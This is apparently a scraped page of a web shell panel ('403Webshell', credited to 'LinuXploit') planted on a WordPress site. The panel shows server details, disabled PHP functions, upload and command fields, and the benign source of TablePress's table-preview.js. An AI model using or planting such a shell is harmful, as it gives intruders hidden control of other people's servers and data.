403Webshell
Server IP : 104.26.5.103  /  Your IP : 216.73.216.4
Web Server : nginx/1.27.1
System : Linux in-5 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : arabianexpress ( 1872)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v9321/leapdubai/public_html/wp-content/plugins/tablepress/admin/js/edit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v9321/leapdubai/public_html/wp-content/plugins/tablepress/admin/js/edit/table-preview.js
/**
 * JavaScript code for the "Edit" section integration of the "Table Preview".
 *
 * @package TablePress
 * @subpackage Views JavaScript
 * @author Tobias Bäthge
 * @since 3.1.0
 */

/**
 * WordPress dependencies.
 */
import {
	Icon,
	Modal,
} from '@wordpress/components';
import { __, sprintf } from '@wordpress/i18n';

/**
 * Internal dependencies.
 */
import { initializeReactComponentInPortal } from '../common/react-loader';
import { TablePressIcon } from '../../img/tablepress-icon';

const Section = ( { screenData, updateScreenData, tableMeta } ) => {
	// Bail early if the current user can't preview the table or the preview is not open.
	if ( ! tp.screenOptions.currentUserCanPreviewTable || ! screenData.previewIsOpen ) {
		return <></>;
	}

	// Get the table name, and use "(no name)" if the table has no name.
	let tableName = tableMeta.name;
	if ( '' === tableName.trim() ) {
		tableName = __( '(no name)', 'tablepress' );
	}

	/* translators: %1$s: Table name, %2$s: Table ID */
	const title = sprintf( __( 'Preview of table “%1$s” (ID %2$s)', 'tablepress' ), tableName, tableMeta.id );

	return (
		<Modal
			icon={ <Icon icon={ TablePressIcon } size="36" style={ { display: 'flex', marginRight: '1rem' } } /> }
			title={ title }
			className="table-preview-modal"
			onRequestClose={ () => updateScreenData( { previewIsOpen: false, previewSrcDoc: '' } ) }
			size="fill"
		>
			<iframe
				title={ title }
				src={ '' === screenData.previewSrcDoc ? screenData.previewUrl : undefined }
				srcDoc={ '' !== screenData.previewSrcDoc ? screenData.previewSrcDoc : undefined }
			/>
		</Modal>
	);
};

initializeReactComponentInPortal(
	'table-preview',
	'edit',
	Section,
);

Youez - 2016 - github.com/yon3zu
LinuXploit